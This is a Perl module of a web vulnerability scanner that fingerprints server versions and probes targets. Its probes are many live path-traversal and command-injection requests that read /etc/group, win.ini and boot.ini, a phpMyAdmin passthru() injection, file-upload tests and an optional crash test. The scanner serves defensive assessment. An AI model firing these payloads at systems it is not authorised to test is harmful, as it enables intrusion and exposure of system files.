#!/usr/bin/perl
#######################################
# Filename: http.saint                #
#######################################
#
# Mostly re-written 5/29/01, by WWDSI (s.k.)

require 'config/paths.pl';
require 'perl/misc.pl';

print "BEGIN\n";

$extreme = 0;
if ($ARGV[0] eq "-x") {
    $extreme = $ARGV[1];
    shift @ARGV;
    shift @ARGV;
}

$argptr = $#ARGV;
if ($argptr < 1) {
   die "Usage: [-x] [hosttype] port target\n";
}

if ($ARGV[$argptr] eq "FW" ||
    $ARGV[$argptr] eq ".PLUS" ||
    $ARGV[$argptr] eq "FW.PLUS") { $argptr--; }

$target = "$ARGV[$argptr--]";
$port_input ="$ARGV[$argptr--]";

if ($argptr < 0) {
    $ostype = "UNKNOWN";
} else {
    $ostype = join ' ', @ARGV[0..$argptr];
}

$port = $port_input;
if($port_input =~ /\:/) {
   $port =~ s/\:TCP//;
} elsif ($port_input =~ /X-(\d+)/) {
   $port = 6000 + $1;
} else {
   open(SERVICES, $SERVICES) or die "$0: cannot open $SERVICES: $!\n";
   while(<SERVICES>) {
      $port_name{$1} = $2 if /(\S+)\s+([0-9]+)\/tcp/;
   }
   $port = $port_name{$port_input} if $port_name{$port_input};
}

if (!$port) {
   $port = getservbyname($port_input, "tcp");
}

$http_version = "HTTP/1.0";
$http_method = "GET";
$http_headers = "";

$service = $port_input;
$status = "a";
$trustee = "ANY\@ANY";
$trusted = "ANY\@ANY";

# Check for vulnerable web server versions

  $cgi_test = "GET /";
  # Leave extra time for Netscape Administration Server
  $wait = ($port eq "32766") ? "-w 20" : "";

     $args = "-bs \"$cgi_test HTTP/1.0\r\n\r\n\" $wait $target $port";
     die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");

     while(<SCAN>) {
      if (/Server: Microsoft-IIS\/4\.0/) {
         $service_output = "http IIS access";
	 $text = "Possible buffer overflow in IIS 4";
	 $severity = "zcio";
	 &saint_print();
      }
      if (/Server: Microsoft-IIS\/5\.0/ && !$extreme) {
	 $service_output = "http IIS access";
	 $text = "Possible buffer overflow in IIS 5";
	 $severity = "zcio";
	 &saint_print();
      }
      if (/Server: Netscape-Enterprise\/([0-9]+)\.([0-9.]+)/) {
	 $major_version = $1;
	 $minor_version = $2;
	 $sp = /SP([0-9]+)/ ? $1 : 0;
	 if (($major_version <= 3) && ($minor_version <=6) && ($sp<3)) {
	   $service_output = "Netscape vulnerabilities";
	   $text = "Buffer overflow in Netscape Enterprise Server $major_version.$minor_version";
	   $severity = "bo";
	   &saint_print();
	 } elsif (($major_version <= 3) && ($minor_version <=6)) {
	   $service_output = "Netscape vulnerabilities";
	   $text = "Possible buffer overflow in Netscape Enterprise Server $major_version.$minor_version";
	   $severity = "zcio";
	   &saint_print();
	 }
	 if (($major_version == 4) && ($minor_version<=1)) {
	   $service_output = "iPlanet vulnerabilities";
	   $text = "Possible buffer overflow in iPlanet web server $major_version.$minor_version";
	   $severity = "zcio";
	   &saint_print();
	 }
      } elsif (/Server:/ && /FastTrack/i) {
	 $service_output = "Netscape vulnerabilities";
	 $text = "Buffer overflow in Netscape FastTrack Server";
	 $severity = "bo";
	 &saint_print();
      }
      if (/Server: Netscape-Administrator\/(\d+)\.(\d+)(\.?)(\d*)/) {
	  if ($1<4 || ($1==4 && $2<=2)) {
	    $service_output = "iPlanet Messaging Server";
	    $text = "Buffer overflow in Netscape Administration Server $1.$2$3$4";
	    $severity = "zcio";
	    &saint_print;
	  }
      }
      if (/Server: Apache\/(\d+)\.(\d+)(\.?)(\d*)/i) {
	$major_version = $1;
	$minor_version = $2;
	$dot = $3;
	$revision = $4;
	if ($major_version==1 && ($minor_version < 3 ||
	    ($minor_version==3 && $revision <= 24))) {
	    $service_output = "Apache vulnerabilities";
	    $text = "vulnerable Apache version: $major_version.$minor_version$dot$revision"; 
	    $severity = "us";
	    &saint_print;
	}
	if ($ostype =~ /Windows/ || $ostype =~ /OS\/2/) {
	  if ($major_version < 1 ||
	      ($major_version==1 && $minor_version < 3) ||
	      ($major_version==1 && $minor_version==3 && $revision < 19)) {
	    $service_output = "Apache vulnerabilities";
	    $text = "Denial of service in Apache $major_version.$minor_version$dot$revision";
	    $severity = "dos";
	    &saint_print();
	  } elsif ($major_version==1 && $minor_version==3 && $revision==19) {
	    $service_output = "Apache vulnerabilities";
	    $text = "Possible denial of service in Apache $major_version.$minor_version$dot$revision";
	    $severity = "zcio";
	    &saint_print();
	  }
	}
	# Check for batch file processing command execution
	if ($ostype =~ /Windows/) {
	  if (($major_version==1 && $minor_version < 3) ||
	      ($major_version==1 && $minor_version==3 && $revision < 24) ||
	      ($major_version==2 && $minor_version==0 && $revision < 34)) {
	    $service_output = "Apache vulnerabilities";
	    $text = "Apache batch file processing allows command execution";
	    $severity = "rs";
	    &saint_print;
	  }
	}
	# Check for Apache authentication modules
	if ((/(AuthPG)\/(\d+)\.(\d+)/ && ($2<1 || ($2==1 && $3<3))) ||
	    (/(mod_auth_mysql)\/(\d+)\.(\d+)/ && ($2<1 || ($2==1 && $3<10))) ||
	    (/(mod_auth_oracle)\/0\.(\d+)\.?(\d*)/ && ($2<5 || ($2==5 && $3<2))) ||
	    (/(mod_auth_pgsql)\/0\.(\d+)\.?(\d*)/ && ($2<9 || ($2==9 && $3<6))) ||
	    (/(mod_auth_pgsql_sys)\/0\.(\d+)\.?(\d*)/ && ($2<9 || ($2==9 && $3<5)))) {
	    $service_output = "Apache authentication modules";
	    $text = "Apache $1 allows SQL code insertion";
	    $severity = "uw";
	    &saint_print;
	}
	# Check for mod_ssl and ApacheSSL vulnerability
	if (/mod_ssl\/(\d+)\.([\d\.]+)/ && ($1<2 || ($1==2 && $2<8.7))) {
	    $service_output = "Apache module vulnerabilities";
	    $text = "buffer overflow in mod_ssl $1.$2";
	    $severity = "zcio";
	    &saint_print;
	}
	if (/Ben-SSL\/(\d+)\.([\d\.]+)/ && ($1<1 || ($1==1 && $2<47))) {
	    $service_output = "Apache module vulnerabilities";
	    $text = "buffer overflow in Apache-SSL $1.$2";
	    $severity = "zcio";
	    &saint_print;
	}
      }
      if (/JetAdmin-([0-9]+)\.([0-9]+)\.?([0-9]*)/i) {
	 if ($1==5 && $2==6) {
	    $service_output = "JetAdmin vulnerabilities";
	    $text = "JetAdmin vulnerability allows read access";
	    $severity = "ur";
	    &saint_print();
	 }
	 if ($1==6 && $2==0 && $3<1233) {
	    $service_output = "JetAdmin vulnerabilities";
	    $text = "JetAdmin vulnerable to denial of service";
	    $severity = "dos";
	    &saint_print();
	 }
      }
      if (/WebsitePro\/([0-9]+\.[0-9]+)/i && ($1 < 2.5)) {
	    $service_output = "http Website Pro";
	    $text = "Buffer overflow in Website Pro $1";
	    $severity = "bo";
	    &saint_print();
      }
      if (($port==8002) && /Server:/ && /Cmail/i) {
	if (/([0-9]+\.[0-9]+)\.?([0-9]*)/) {
	  if (($1 < 2.4) || (($1==2.4)&&($2<8))) {
	    $service_output = "http Cmail access";
	    $text = "buffer overflow in Cmail";
	    $severity = "bo";
	    &saint_print();
	  }
	} else {
	    $service_output = "http Cmail access";
	    $text = "Possible buffer overflow in Cmail";
	    $severity = "zcio";
	    &saint_print();
	}
      }
      if (/Server:/ && /\bMDaemon/ && /(\d+\.\d+)\.?([\d\.]*)/) {
	if ($1 < 3.5 || ($1==3.5 && $2 < 1.0)) {
	  $service_output = "MDaemon vulnerabilities";
	  $text = "Denial of Service in MDaemon pre 3.5.1";
	  $severity = "dos";
	  # Must make all fields match rules/facts so the
	  # the vulnerability won't appear twice if it's
	  # present in more than one service (e.g. http and imap)
	  ($trusted_orig, $trustee_orig, $service_orig) = ($trusted, $trustee, $service);
	  $trusted = "ANY@$target";
	  $trustee = "ANY@$target";
	  $service = "mdaemon";
	  &saint_print();
	  ($trusted,$trustee,$service) = ($trusted_orig,$trustee_orig,$service_orig);
	}
      }
      if (/Server: WebLogic ([0-9]+)\.([0-9]+)(\.?)([0-9]*)( Service Pack )?([0-9]*)/i) {
	    if (($1<5) || ($1==5 && $2<1) || ($1==5 && $2==1 && $4==0 && $6<5)) {
	        $service_output = "WebLogic vulnerabilities";
	        $text = "BEA WebLogic pre 5.1.0 SP5";
	        $severity = "bo";
	        &saint_print();
	    }
	    elsif ($1==5 && $2==1 && $4==0 && $6<7) {
	        $service_output = "WebLogic vulnerabilities";
	        $text = "BEA WebLogic pre 5.1.0 SP7";
	        $severity = "bo";
	        &saint_print();
	    }
	    elsif ($1==5 && $2==1 && $4==0 && $6<11) {
	        $service_output = "WebLogic vulnerabilities";
	        $text = "BEA WebLogic $1.$2$3$4$5$6";
	        $severity = "yi";
	        &saint_print();
	    }
	    elsif ($1==5 && $2==1 && $4==0 && $6==11) {
	        $service_output = "WebLogic vulnerabilities";
	        $text = "BEA WebLogic $1.$2$3$4$5$6";
	        $severity = "zcio";
	        &saint_print();
	    }
	    elsif (($1==6 && $2<1) || ($1==6 && $2==1 && $4==0 && $6<2)) {
	        $service_output = "WebLogic vulnerabilities";
	        $text = "BEA WebLogic pre 6.1 SP2";
	        $severity = "dos";
	        &saint_print();
	    }
	    elsif ($1==6 && $2==1 && $4==0 && $6==2) {
	        $service_output = "WebLogic vulnerabilities";
	        $text = "BEA WebLogic $1.$2$3$4$5$6";
	        $severity = "zcio";
	        &saint_print();
	    }
      }
      # dwhttpd is port 8888
      if (/Server: dwhttpd\/([0-9\.]+)a?([0-9]*)/i) {
	if ($1 < 4.1 || ($1 == 4.1 && $2 < 7)) {
	    $service_output = "AnswerBook vulnerabilities";
	    $text = "Possible vulnerabilities in AnswerBook";
	    $severity = "zcio";
	    &saint_print();
	}
      } 
      if (/Server: icecast\/(\d+\.\d+)\.?(\d*)(\.beta)?(\d*)/) {
	if ($1<1.3 || ($1==1.3 && $2<12)) {
	    $service_output = "icecast vulnerability";
	    $text = "vulnerability in icecast";
	    $severity = "us";
	    &saint_print();
	}
      }
      if (/Invalid scheme/ && /Generated by (\d+\.\d+)\.?(\d*)([a-z]?)/) {
	if ($1<1.3 || ($1==1.3 && $2<3) || ($1==1.3 && $2==3 && !$3)) {
	    $service_output = "tinyproxy vulnerability";
	    $text = "vulnerability in tinyproxy";
	    $severity = "bo";
	    &saint_print();
	}
      }
      # Zope 2.4.4 and 2.5.1b2 will presumably be fixed
      if (/Server:\s*Zope\/Zope\s*(\d+)\.([\d\.]+)\s*(b?)(\d*)/) {
	if ($1 < 2 || ($1 == 2 && $2 < 4.4) ||
	    ($1 == 2 && $2 == 5.0) ||
	    ($1 == 2 && $2 == 5.1 && $4 == 1)) {
	    $service_output = "Zope vulnerabilities";
	    $text = "possible vulnerability in Zope $1.$2$3$4";
	    $severity = "zcio";
	    &saint_print();
	}
      }
      if (/Server: Oracle[ _]Web[ _]Listener/i) {
	# Check for Oracle TNS listener
	die "Can't open $TCP_SCAN: $!\n"
	  unless open(SCAN, "$TCP_SCAN $target 1521 |");
	while(<SCAN>) {
	  if (/^1521:/) {
	    $service_output = "Oracle TNS Listener";
	    $text = "Possible vulnerability in Oracle TNS listener";
	    $severity = "zcio";
	    &saint_print;
	  }
	}
      }
      # Check Oracle Web Cache version
      if ($port==1100 || $port==4000 || $port==4001 || $port==4002) {
	if (/2\.0\.0\.1/) {
	  $service_output = "Oracle Web Cache";
	  $text = "Possible vulnerability in Oracle Web Cache";
	  $severity = "zcio";
	  &saint_print;
	}
      }
      if (/Server: Lotus-Domino\/5\.0(\.?)(\d*)/i && $2 < 9) {
	$severity = "zcio";
	$service_output = "Lotus Domino HTTP vulnerability";
	$text = "possible webadmin template access in Lotus Domino";
	&saint_print();
      }
      if (/Server: Lotus-Domino\/5\.0(\.?)(\d*)/i && $2 < 7) {
	$severity = "dos";
	$service_output = "Lotus Domino HTTP vulnerability";
	$text = "denial of service problem in Lotus Domino 5.0$1$2";
	&saint_print();
      }
      if (/Server: Inetserv 3\.([\d\.]+)/i) {
	if ($1<=2.1) {
	  $service_output = "Inetserv vulnerabilities";
	  $text = "Buffer overflow in Inetserv 3.$1 webmail";
	  $severity = "bo";
	  &saint_print;
	}
      }
      if (/Server: Ipswitch-IMail\/([\d\.]+)/) {
	$major_version = $1;
	if ($major_version <= 7.04) {
	    $severity = "zcio";
	    $service_output = "IMail vulnerabilities";
	    $text = "Possible vulnerability in IMail $1 web interface";
	    &saint_print;
	}
	if ($major_version <= 7.10) {
	    # check for LDAP
	    open(SCAN, "$TCP_SCAN $target 389 |");
	    while(<SCAN>) {
		if (/389:/) {
		  $severity = "zcio";
		  # we can change $service since we're going
		  # to exit anyway
		  $service = "ldap";
		  $service_output = "IMail vulnerabilities";
		  $text = "possible vulnerability in IMail LDAP";
		  &saint_print;
		}
	    }
	}
	# stop here because we'll hang on everything else
	# (IMail http server requires \r in query)
	exit 0;
      }
      if (/Server: Ipswitch Web Calendaring \/([\d\.]+)/
		&& $1<=7.04) {
	if (!$extreme) {
	    $severity = "zcio";
	    $service_output = "IMail vulnerabilities";
	    $text = "Possible vulnerability in IMail web calendaring";
	    &saint_print;
	} else {
	    $cgi_test = "GET / HTTP/1.0\r\n\r\n";
	    $cgi_test1 = "GET /" . "A" x 100 . " HTTP/1.0\r\n\r\n";
	    if (&crash_server($cgi_test, $cgi_test1, "Ipswitch", 1)) {
		$severity = "bo";
		$service_output = "IMail vulnerabilities";
		$text = "buffer overflow in IMail web calendaring";
		&saint_print;
	    }
	}
	# stop here because we'll hang on everything else
	exit 0;
      }
      if (/Server: Avirt-Gateway-Server\/(\d+)\.([\d\.]+)/ &&
	  ($1 < 4 || ($1==4 && $2 <= 2))) {
	    $severity = "rs";
	    $service_output = "Avirt Gateway vulnerabilities";
	    $text = "buffer overflow in Avirt web proxy";
	    &saint_print;
      }
      if (/Server: Squid\/(\d+)\.(\d+)(\.STABLE)?(\d*)/ &&
	  ($1<2 || ($1==2 && $2<4) || ($1==2 && $2==4 && $4<=4) ||
	   ($1==2 && ($2==5 || $2==6) && !$3))) {
	    $severity = "zcio";
	    $service_output = "Squid vulnerabilities";
	    $text = "Squid $1.$2$3$4 may be vulnerable";
	    &saint_print;
      }
      if (/Server: SAMBAR (\d+)\.([\d\.]+)/) {
	  if ($1<5 || ($1==5 && $2<1)) {
	    $severity = "bo";
	    $service_output = "Sambar vulnerabilities";
	    $text = "buffer overflow in Sambar $1.$2";
	    &saint_print;
	  }
	  if ($1==5 && $2==1) {
	    $severity = "zcio";
	    $service_output = "Sambar vulnerabilities";
	    $text = "possible buffer overflow in Sambar $1.$2";
	    &saint_print;
	  }
      }
      if (/\bPHP\/(\d+)\.([\d\.]+)/) {
	if ($1 < 4 || ($1==4 && $2 < 0.3)) {
	    $severity = "bo";
	    $service_output = "PHP vulnerabilities";
	    $text = "buffer overflow in PHP $1.$2";
	    &saint_print;
	}
	elsif ($1==4 && $2 <= 1.1) {
	    $severity = "zcio";
	    $service_output = "PHP vulnerabilities";
	    $text = "possible buffer overflow in PHP $1.$2";
	    &saint_print;
	}
      }
      $check_netware = 0;
      if (/Server: NetWare-Enterprise-Web-Server\/(\d+)\.(\d+)/
		&& (($1==5 && $2==1) || ($1==6 && $2==0))) {
	$check_netware = 1;
      }
      if (/Server: ADSM_HTTP\/0\.([\d\.]+)/ && $1 <= 1) {
	$severity = "zcio";
	$service_output = "Tivoli Storage Manager";
	$text = "possible buffer overflow in Tivoli Storage Manager";
	&saint_print;
      }
      # MiniServ is Webmin's http server
      $webmin = 0;
      if (/Server: MiniServ/) {
	$webmin = 1;
      }
      if (/Server: ntop\/(\d+)\.([\d\.]+)/i) {
	$service_output = "ntop server vulnerability";
	$text = "ntop server allows access";
	if ($1 < 2 || ($1==2 && $2 < 0.1)) {
	  $severity = "us";
	  &saint_print;
	}
	elsif ($1==2 && $2==0.1) {
	  $severity = "zcio";
	  &saint_print;
	}
	# stop here because ntop servers will either
	# hang or false alarm on everything below
	exit 0;
      }
      # Look for web pages defaced by sadmind/IIS worm
      if (/fuck USA Government/i) {
	    $service_output = "Worm detected";
	    $text = "Worm detected (sadmind/IIS)";
	    $severity = "ht";
	    &saint_print();
      }
      # Look for web pages defaced by Code Red worm
      if (/Hacked By Chinese!/i) {
	    $service_output = "Worm detected";
	    $text = "Worm detected (Code Red)";
	    $severity = "ht";
	    &saint_print;
      }
      # Look for pages infected with Nimda worm
      if (/window.open.*readme.eml/i) {
	    $service_output = "Worm detected";
	    $text = "Worm detected (Nimda)";
	    $severity = "ht";
	    &saint_print;
      }
     } 
     close(SCAN);

# check for servers that always respond 200 OK

    $always200 = 0;
    $cgi_test = "GET /cgi-bin/n0nexi5tent_fi1e.pl HTTP/1.0\n\n";
    $args = "-bs \"$cgi_test\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");

    while(<SCAN>) {
	$always200 = 1 if /200 OK/;
    }
    close(SCAN);

# check for servers that always respond 403 Forbidden

    $always302 = 0;
    $always403 = 0;
    $cgi_test = "GET /cgi-bin/n0nexi5tent_fi1e.pl HTTP/1.0\n\n";
    $args = "-bs \"$cgi_test\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");

    while(<SCAN>) {
	$always403 = 1 if /403 Forbidden/ || /403 Access/;
	$always302 = 1 if /302 Moved/;
    }
    close(SCAN);

# check that server doesn't always return 500

    $always500 = 0;
    $args = "-bs \"GET /cgi-bin/n0nexi5tent_cgi HTTP/1.0\n\n\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    while(<SCAN>) {
	$always500 = 1 if /500 (Internal|Server)/i;
    }

# Check for cross-site scripting in IIS error page.
# This vulnerability implies all the others in MS02-018
# because the same patch fixes all.

    $cgi_test = "GET /n0nexi5tent_fi1e.html HTTP/1.0\n\n";
    $args = "-bs \"$cgi_test\" $target $port";
    die "Can't open $TCP_SCAN: $!\n" unless open(SCAN, "$TCP_SCAN $args|");
    while(<SCAN>) {
        if (/404 Object Not Found/ &&
            /document.write\([^;]*displayresult/ &&
            /Server: Microsoft-IIS\/(\d+\.\d+)/ &&
            ($1 eq "4.0" || $1 eq "5.0" || $1 eq "5.1")) {
          $service_output = "http IIS access";
          $text = "multiple vulnerabilities in IIS $1";
	  # Gives SYSTEM access on IIS 4.0, but not on 5.x
          $severity = ($1 >= 5) ? "ns":"rs";
          &saint_print;
        }
    }

# check for web servers that allow arbitrary file read
# (e.g. BOA)
$service_output = "http server read access";
$text = "http server allows read access";
&http_test("/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/group", "%200%", "us");
&http_test("/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini");
&http_test("/../../../../../etc/group");
&http_test("/../../../../../winnt/win.ini");
&http_test("/../../../../..\\\\winnt/win.ini");
&http_test("/.../.../.../.../.../etc/group");
&http_test("/.../.../.../.../.../winnt/win.ini");
&http_test("/\\\\../\\\\../\\\\../\\\\../\\\\../etc/group");
&http_test("/\\\\../\\\\../\\\\../\\\\../\\\\../winnt/win.ini");
&http_test("/4DBin/_/C:/winnt/win.ini");
&http_test("/4DBin/_/../winnt/win.ini");


# CGI directory traversal and command execution attacks
$service_output = "http cgi access";
$text = "Unauthorized Access via Web Server (%cgi%)";
$cgi_rm = "/cgi-bin/";
&http_test("/cgi-bin/webdist.cgi?distloc=;/bin/cat%20/etc/group", "/:0:/", "us");
&http_test("/directory.php?dir=%3Bcat%20/etc/group");
&http_test("/cgi-bin/campas?%0acat%0a/etc/group%0a");
&http_test("/cgi-bin/htmlscript?../../../../../../etc/group");
&http_test("/cgi-bin/php.cgi?/etc/group");
&http_test("/cgi-bin/pfdispaly?../../../../../../etc/group");
&http_test("/cgi-bin/pfdispaly.cgi?../../../../../../etc/group");
&http_test("/cgi-bin/view-source?../../../../../../etc/group");
&http_test("/cgi-bin/htsearch?exclude=%60/etc/group%60");
&http_test("/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/group");
&http_test("/cgi-bin/faxsurvey?/bin/cat%20/etc/group");
&http_test("/cgi-bin/counterfiglet/nc/f=;cat%20/etc/group");
&http_test("/cgi-bin/calendar_admin.pl?config=|cat%20/etc/group|");
&http_test("/cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/group|");
&http_test("/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/group%00");
&http_test("/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/group");
&http_test("/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../etc/group");
&http_test("/cgi-bin/htgrep?file=index.html&hdr=/etc/group");
&http_test("/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/group%00");
&http_test("/search97cgi/vtopic?action=view&ViewTemplate=../../../../../etc/group");
&http_test("/cgi-bin/multihtml.pl?multi=/etc/group%00html");
&http_test("/cgi-bin/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/group");
&http_test("/cgi-bin/webplus?script=/../../../../etc/group");
&http_test("/cgi-bin/webplus.exe?script=/../../../../etc/group");
&http_test("/cgi-bin/webplus.cgi?script=/../../../../etc/group");
&http_test("/cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20\\\"Content-Type:%20text%2Fhtml\\\"%3Becho%20\\\"\\\"%20%3B%20cat%20%2Fetc%2Fgroup%00");
&http_test("/cgi-bin/man-cgi?%20/etc/group%20");
&http_test("/opendir.php?requesturl=/etc/group");
# user = base-64 encoding of 1:1:1:1:1:1:1:1:1:../../../../../etc/group\0
&http_test("/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL2dyb3VwAAo");
&http_test("/cgi-bin/talkback.cgi?article=../../../../../etc/group%00&action=view&matchview=1");
&http_test("/cgi-bin/cal_make.pl?p0=../../../../../etc/group%00");
&http_test("/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/group");
&http_test("/cgi-bin/directorypro.cgi?want=showcat&show=../../../..//etc/group%00");
&http_test("/cgi-bin/viewsrc.cgi?loc=../../../../../etc/group");
&http_test("/SWEditServlet?station_path=Z&publication_id=2043&template=../../../../../../../../../../../etc/group");
&http_test("/basilix.php3?request_id[DUMMY]=../../../../../etc/group&RequestID=DUMMY&username=blah&password=blah"); 
&http_test("/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/group");
&http_test("/phpPgAdmin/sql.php?LIB_INC=1&btnDrop=No&goto=/etc/group");
&http_test("/phpMyAdmin/tbl_create.php?db=test&table=saint&query=dummy+integer+primary+key+auto_increment&submit=1",0,0,0,0,1);
&http_test("/phpMyAdmin/tbl_copy.php?db=test&table=saint&new_name=test.saint2&strCopyTableOK=\\\".passthru(\'cat%20/etc/group\').\\\"");
&http_test("/cgi-bin/ncbook/book.cgi?action=default&current=|cat%20/etc/group|&form_tid=996604045&prev=main.html&list_message_index=10");
&http_test("/cgi-bin/webboard/generate.cgi?content=../../../../../../etc/group%00&board=boardsname"); 
&http_test("/cgi-bin/powerup/r.cgi?FILE=../../../../../etc/group");
&http_test("/cgi-bin/r.cgi?FILE=../../../../../etc/group");
&http_test("/scripts/shopplus.cgi?dn=domainname.com&cartid=%CARTID%&file=;cat%20/etc/group|"); 
&http_test("/network_query.php?portNum=80&queryType=all&target=saint.someserver.com%3Bcat+/etc/group&Submit=Do+It"); 
&http_test("/ifx/?LO=../../../../etc/group");
&http_test("/cgi-bin/PGPMail.txt?redirect=http://saint&recipient=saint\@saint;cat%20/etc/group");
&http_test("/cgi-bin/PGPMail.pl?redirect=http://saint&recipient=saint\@saint;cat%20/etc/group");
&http_test("/cgi-bin/csvform.pl?file=|cat%20/etc/group");
&http_test("/cgi-bin/zml.cgi?file=../../../../../../etc/group%00");
&http_test("/graph.php?graph=blob&command=whoami;cat%20/etc/group");
&http_test("/cgi-bin/traceroute.pl?host=;cat%20/etc/group");
&http_test("/cgi-bin/nslookup.pl?query=;cat%20/etc/group");
&http_test("/servlet/webacc?User.html=../../../../../../../../boot.ini%00", "/disk\\(/i && /partition\\(/i");
&http_test("/php/php.exe?c:\\\\boot.ini");
&http_test("/filemanager/filemanager_forms.php", "!/Please use index.php!/ && %200%");
&http_test("/phpBB2/includes/db.php", "!/Illegal call/ && !/Hacking attempt/ && %200%");
&http_test("/cgi-bin/query?mss=../config", "/MGMT_PW/");
&http_test("/cgi-bin/bbs_forum.cgi?read=../../../../etc/group", "/Problem In BBS/i");
&http_test("/cgi-bin/bbs/bbs_forum.cgi?read=../../../../etc/group", "/Problem In BBS/i");
&http_test("/cgi-bin/htsearch?-c/n0nexi5tent_f1le", "/unable to read.*n0nexi5tent/i"); 
# If sms in PATH_INFO makes it bypass login screen, it's vulnerable
&http_test("/phprojekt/mail/mail_send.php/sms", "%200% && !/Last name.*loginstring.*Password.*password/i",
	   0,0,"Unauthorized Access via Web Server (phprojekt)");
&http_test("/modules.php?op=modload&name=Network_Tools&file=index&func=ping_host&hostinput=$target;cat%20/etc/group",
	   "/:0:/",0,0,"Unauthorized Access via Web Server (Network_Tools)");
&http_test("/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf",
	   "/file server name/i || /ipx internal net/i || /bind ip/",0,0,"Unauthorized Access via Web Server (viewcode.jse)");
&http_test("/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/jabber/comment2.jse+/system/autoexec.ncf",
	   "/file server name/i || /ipx internal net/i || /bind ip/",0,0,"Unauthorized Access via Web Server (comment2.jse)");
&http_test("/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\\\\winnt\\\\win.ini",
	   "%200%",0,0,0);
&http_test("/cgi-bin/sewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/group", 
	   "/:0:/",0,0,0);
if (&http_test("/admin.php?upload=1&file=robots.txt&file_name=saint.txt&wdir=/images/&userfile=robots.txt&userfile_name=saint.txt","%200%",0,0,0,1))
{&http_test("/images/saint.txt",0,0,0,"Unauthorized Access via Web Server (admin.php)");}
if (&http_test("/admin/case/case.filemanager.php/admin.php?op=move&confirm=1&do=copy&basedir=&file=/etc/services&newfile=saint1.txt",0,0,0,0,1))
{&http_test("/saint1.txt",0,0,0,"Unauthorized Access via Web Server (case.filemanager.php)");}
if (&http_test("/cgi-bin/boozt/admin/index.cgi?section=5&input=1","%200%",0,0,0,1)) 
{&http_test("/cgi-bin/boozt/admin/index.cgi?section=5&input=1&name=" . "A"x1000,"%500%","us",
	    0,"Unauthorized Access via Web Server (boozt)");}

# CGI's that might reveal sensitive information
$service_output = "http cgi info";
$text = "CGI Gives Information about System (%cgi%)";
$cgi_rm = "/cgi-bin/";
&http_test("/cgi-bin/test-cgi", "%200%", "zcio");
&http_test("/cgi-bin/dumpenv.pl");
&http_test("/cgi-bin/nph-test-cgi");
&http_test("/cgi-bin/wwwboard.pl");
&http_test("/cgi-bin/wwwboard.cgi");
&http_test("/cgi-bin/wwwboard");
&http_test("/cgi-bin/wrap");
&http_test("/cgi-bin/wrap.pl");
&http_test("/cgi-bin/wrap.cgi");
&http_test("/cgi-bin/finger");
&http_test("/cgi-bin/finger.pl");
&http_test("/cgi-bin/finger.cgi");
&http_test("/lcgi/ndsobj.nlm");
&http_test("/stronghold-info");
$cgi_rm = "/officescan/hotdownload/";
&http_test("/officescan/hotdownload/ofcscan.ini");
$cgi_rm = "/test/";
&http_test("/test/realPath.jsp", "%200% || %500%");
$cgi_rm = "/test/jsp/";
&http_test("/test/jsp/pageInfo.jsp");
$cgi_rm = "/examples/jsp/";
&http_test("/examples/jsp/source.jsp");

# Other CGI's that allow remote access
$service_output = "http cgi access";
$text = "Unauthorized Access via Web Server (%cgi%)";
$cgi_rm = "/cgi-bin/";
&http_test("/cgi-bin/phf", "%200%", "us");
&http_test("/cgi-bin/handler");
&http_test("/cgi-bin/info2www");
&http_test("/cgi-bin/textcounter.pl");
&http_test("/cgi-bin/glimpse");
&http_test("/cgi-bin/aglimpse");
&http_test("/cgi-bin/webgais");
&http_test("/cgi-bin/www-sql");
&http_test("/cgi-bin/websendmail");
&http_test("/cgi-bin/jj");
&http_test("/cgi-bin/count.cgi");
&http_test("/cgi-bin/imagemap.exe");
&http_test("/catinfo");
&http_test("/AspUpload/Test11.asp");
$cgi_rm = "/plugins/squirrelspell/modules/";
# In fixed versions file is just called check_me.mod
&http_test("/plugins/squirrelspell/modules/check_me.mod.php");
&http_test("/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5c\\\\global.asa", 
		0,"ur",0,"Unauthorized Access via Web Server (JSP10Servlet)");

# CGI's that might be shell interpreters

$service_output = "http cgi shells";
$text = "(%cgi%) is present in the cgi-bin directory";
$cgi_rm = "/cgi-bin/";
&http_test("/cgi-bin/csh", "%200% || %500%", "ns");
&http_test("/cgi-bin/bash");
&http_test("/cgi-bin/zsh");
&http_test("/cgi-bin/ash");
&http_test("/cgi-bin/ksh");
&http_test("/cgi-bin/sh");
&http_test("/cgi-bin/perl");
&http_test("/cgi-bin/perl.exe");
&http_test("/cgi-bin/tcsh");

# Web scripts not in cgi-bin which allow remote access
$service_output = "http cgi access";
$text = "(%cgi%) is present";
&http_test("/cgi-win/uploader.exe", "%200%", "ns");
&http_test("/cgi-dos/args.bat");
&http_test("/cgi-dos/args.cmd");
&http_test("/cgi-shl/win-c-sample.exe");
&http_test("/shop/product.asp");
&http_test("/shop/product.ast");
&http_test("/scripts/c32web.exe/ChangeAdminPassword");
&http_test("/pccsmysqladm/incs/dbconnect.inc");
&http_test("/servlet/sunexamples.BBoardServlet");
